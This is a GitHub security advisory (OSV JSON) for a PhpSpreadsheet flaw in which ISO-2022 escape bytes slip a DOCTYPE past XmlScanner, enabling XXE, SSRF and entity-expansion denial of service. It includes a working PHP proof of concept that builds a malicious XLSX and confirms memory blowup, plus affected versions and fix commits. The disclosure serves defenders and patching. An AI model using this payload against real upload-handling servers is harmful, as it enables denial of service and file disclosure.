{"id":"GHSA-3x94-m842-937c","summary":"PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service","details":"### Summary\nPhpSpreadsheet's `XmlScanner::scan()` uses a regex pattern that only accounts for NULL byte (0x00) interleaving when detecting `\u003c!DOCTYPE`. ISO-2022 escape sequences (0x1B bytes) inserted between the characters of the pattern break the regex match entirely, allowing DOCTYPE declarations with entity definitions to pass through undetected. This enables Denial of Service via quadratic entity expansion on **all PHP versions**, and XXE/SSRF on PHP \u003c 8.0 or when `LIBXML_NOENT` is used. Any application using PhpSpreadsheet to process user-uploaded XLSX files is affected.\n\n### Details\nThe vulnerability exists in `src/PhpSpreadsheet/Reader/Security/XmlScanner.php`, method `scan()`, lines 87–100.\n\nThe scanner builds a regex pattern `/\\0*\u003c\\0*!\\0*D\\0*O\\0*C\\0*T\\0*Y\\0*P\\0*E\\0*/` that only handles NULL byte interleaving. ISO-2022 escape sequences (e.g., `0x1B 0x28 0x42` for ISO-2022-JP) inserted between each character of `\u003c!DOCTYPE` break the regex because it only expects optional `\\0` between characters.\n\nThe XLSX reader extracts XML parts from the ZIP archive and passes each through `XmlScanner::scan()` before `simplexml_load_string()`. The XML parser strips the ESC bytes during charset normalization, producing a valid `\u003c!DOCTYPE` declaration that the scanner never detected.\n\nSeven ISO-2022 encoding variants bypass the scanner:\n- ISO-2022-JP (`ESC ( B`)\n- ISO-2022-JP-2 (`ESC $ B`)\n- ISO-2022-KR (`ESC $ ) C`)\n- ISO-2022-CN (`ESC $ ) A`)\n- ISO-2022-CN-EXT (`ESC $ ) G`)\n- ISO-2022-JP-2004 (`ESC $ ( Q`)\n- ISO-2022-JP-MS (`ESC & @ ESC $ B`)\n\nInternal entity expansion (quadratic blowup) is **not blocked** by libxml2 2.9+ defaults, making this directly exploitable for DoS on all modern PHP versions.\n\n### PoC\n\nSave the following as `poc_iso2022.php` in a directory with PhpSpreadsheet installed via Composer:\n\n```php\n\u003c?php\nrequire 'vendor/autoload.php';\n\n// ESC ( B = ISO-2022-JP escape sequence (switch to ASCII)\n$esc = \"\\x1b\\x28\\x42\";\n\n// Build \u003c!DOCTYPE with ESC bytes between each character\n$doctype = \"\u003c\".$esc.\"!\".$esc.\"D\".$esc.\"O\".$esc.\"C\".$esc.\"T\".$esc.\"Y\".$esc.\"P\".$esc.\"E\";\n\n// Internal entity for DoS (works on ALL PHP versions)\n$entity_value = str_repeat('A', 100000);\n$refs = str_repeat('&big;', 200);\n\n$shared_strings = '\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e' . \"\\n\"\n    . $doctype . ' sst [' . \"\\n\"\n    . '  \u003c!ENTITY big \"' . $entity_value . '\"\u003e' . \"\\n\"\n    . ']\u003e' . \"\\n\"\n    . '\u003csst xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" count=\"1\" uniqueCount=\"1\"\u003e'\n    . '\u003csi\u003e\u003ct\u003e' . $refs . '\u003c/t\u003e\u003c/si\u003e\u003c/sst\u003e';\n\n// Build minimal XLSX\n$xlsx = new ZipArchive();\n$xlsx-\u003eopen('poc.xlsx', ZipArchive::CREATE | ZipArchive::OVERWRITE);\n$xlsx-\u003eaddFromString('[Content_Types].xml',\n    '\u003c?xml version=\"1.0\"?\u003e\u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"\u003e'\n    .'\u003cDefault Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/\u003e'\n    .'\u003cDefault Extension=\"xml\" ContentType=\"application/xml\"/\u003e'\n    .'\u003cOverride PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/\u003e'\n    .'\u003cOverride PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/\u003e'\n    .'\u003cOverride PartName=\"/xl/sharedStrings.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml\"/\u003e'\n    .'\u003c/Types\u003e');\n$xlsx-\u003eaddFromString('_rels/.rels',\n    '\u003c?xml version=\"1.0\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e'\n    .'\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"xl/workbook.xml\"/\u003e'\n    .'\u003c/Relationships\u003e');\n$xlsx-\u003eaddFromString('xl/workbook.xml',\n    '\u003c?xml version=\"1.0\"?\u003e\u003cworkbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"\u003e'\n    .'\u003csheets\u003e\u003csheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/\u003e\u003c/sheets\u003e\u003c/workbook\u003e');\n$xlsx-\u003eaddFromString('xl/_rels/workbook.xml.rels',\n    '\u003c?xml version=\"1.0\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e'\n    .'\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\" Target=\"worksheets/sheet1.xml\"/\u003e'\n    .'\u003cRelationship Id=\"rId2\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings\" Target=\"sharedStrings.xml\"/\u003e'\n    .'\u003c/Relationships\u003e');\n$xlsx-\u003eaddFromString('xl/worksheets/sheet1.xml',\n    '\u003c?xml version=\"1.0\"?\u003e\u003cworksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"\u003e'\n    .'\u003csheetData\u003e\u003crow r=\"1\"\u003e\u003cc r=\"A1\" t=\"s\"\u003e\u003cv\u003e0\u003c/v\u003e\u003c/c\u003e\u003c/row\u003e\u003c/sheetData\u003e\u003c/worksheet\u003e');\n$xlsx-\u003eaddFromString('xl/sharedStrings.xml', $shared_strings);\n$xlsx-\u003eclose();\n\necho \"XLSX size: \" . filesize('poc.xlsx') . \" bytes\\n\";\n\n// Load with PhpSpreadsheet\n$mem_before = memory_get_usage(true);\n$reader = new \\PhpOffice\\PhpSpreadsheet\\Reader\\Xlsx();\n$reader-\u003esetReadDataOnly(true);\n$spreadsheet = $reader-\u003eload('poc.xlsx');\n$peak = memory_get_peak_usage(true);\n\necho \"Peak memory: \" . round($peak / 1024 / 1024, 1) . \" MB\\n\";\n\n$val = $spreadsheet-\u003egetActiveSheet()-\u003egetCell('A1')-\u003egetValue();\necho \"Cell A1 length: \" . strlen($val) . \" bytes\\n\";\necho \"Entity expansion: \" . (strlen($val) \u003e 10000 ? \"CONFIRMED\" : \"not detected\") . \"\\n\";\n```\n\nRun: `php -d memory_limit=512M poc_iso2022.php`\n\n**Expected result:** The scanner does not detect the DOCTYPE. The XLSX loads successfully. Internal entities expand, consuming ~45 MB of memory from a ~2 KB file.\n\n**Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.\n\n### Impact\n\n| Attack | PHP \u003c 8.0 / libxml2 \u003c 2.9 | PHP 8.x / libxml2 2.9+ |\n|--------|---------------------------|------------------------|\n| Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** |\n| Local file read via SYSTEM entity | **Exploitable** | Blocked by default |\n| SSRF via SYSTEM entity | **Exploitable** | Blocked by default |\n| File read when LIBXML_NOENT is used | **Exploitable** | **Exploitable** |\n\nAny application that accepts user-uploaded XLSX files and processes them with PhpSpreadsheet is vulnerable. The DoS impact is the most severe because it requires no special PHP configuration and works on all supported PHP versions. A 2 KB XLSX causes 45 MB peak memory usage (22,000:1 amplification ratio). Multiple concurrent uploads can exhaust server memory.","aliases":["CVE-2026-108358"],"modified":"2026-10-27T15:47:24.225161531Z","published":"2026-10-27T15:38:28Z","database_specific":{"nvd_published_at":"2026-10-22T18:17:26Z","cwe_ids":["CWE-611","CWE-776"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-27T15:38:28Z"},"references":[{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-3x94-m842-937c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108358"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/299993894dce37aa3b64aa23e9a3f4bb77ab0e66"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/9a0b48622ebfe93fa48cb9bc09ce57303bb07af9"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/da13f40e8760d599b0e8a296017d4b028b20e86c"},{"type":"PACKAGE","url":"https://github.com/PHPOffice/PhpSpreadsheet"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.7"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.19"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.8"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0"}],"affected":[{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"5.10.0"}]}],"versions":["4.0.0","4.1.0","4.2.0","4.3.0","4.3.1","4.4.0","4.5.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.5.0","5.6.0","5.7.0","5.8.0","5.8.1","5.9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.9.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-3x94-m842-937c/GHSA-3x94-m842-937c.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"3.10.8"}]}],"versions":["3.10.0","3.10.1","3.10.2","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.3.0","3.4.0","3.5.0","3.6.0","3.7.0","3.8.0","3.9.0","3.9.1","3.9.2","3.9.3"],"database_specific":{"last_known_affected_version_range":"\u003c= 3.10.7","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-3x94-m842-937c/GHSA-3x94-m842-937c.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.4.8"}]}],"versions":["2.2.0","2.2.1","2.2.2","2.3.0","2.3.10","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.4.5","2.4.6","2.4.7"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.4.7","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-3x94-m842-937c/GHSA-3x94-m842-937c.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.1.19"}]}],"versions":["2.0.0","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.16","2.1.17","2.1.18","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.1.18","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-3x94-m842-937c/GHSA-3x94-m842-937c.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.30.7"}]}],"versions":["1.0.0","1.0.0-beta","1.0.0-beta2","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.15.0","1.16.0","1.17.0","1.17.1","1.18.0","1.19.0","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.23.0","1.24.0","1.24.1","1.25.0","1.25.1","1.25.2","1.26.0","1.27.0","1.27.1","1.28.0","1.29.0","1.29.1","1.29.10","1.29.11","1.29.12","1.29.2","1.29.4","1.29.5","1.29.6","1.29.7","1.29.8","1.29.9","1.3.0","1.3.1","1.30.0","1.30.1","1.30.2","1.30.3","1.30.4","1.30.5","1.30.6","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 1.30.6","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-3x94-m842-937c/GHSA-3x94-m842-937c.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N"}]}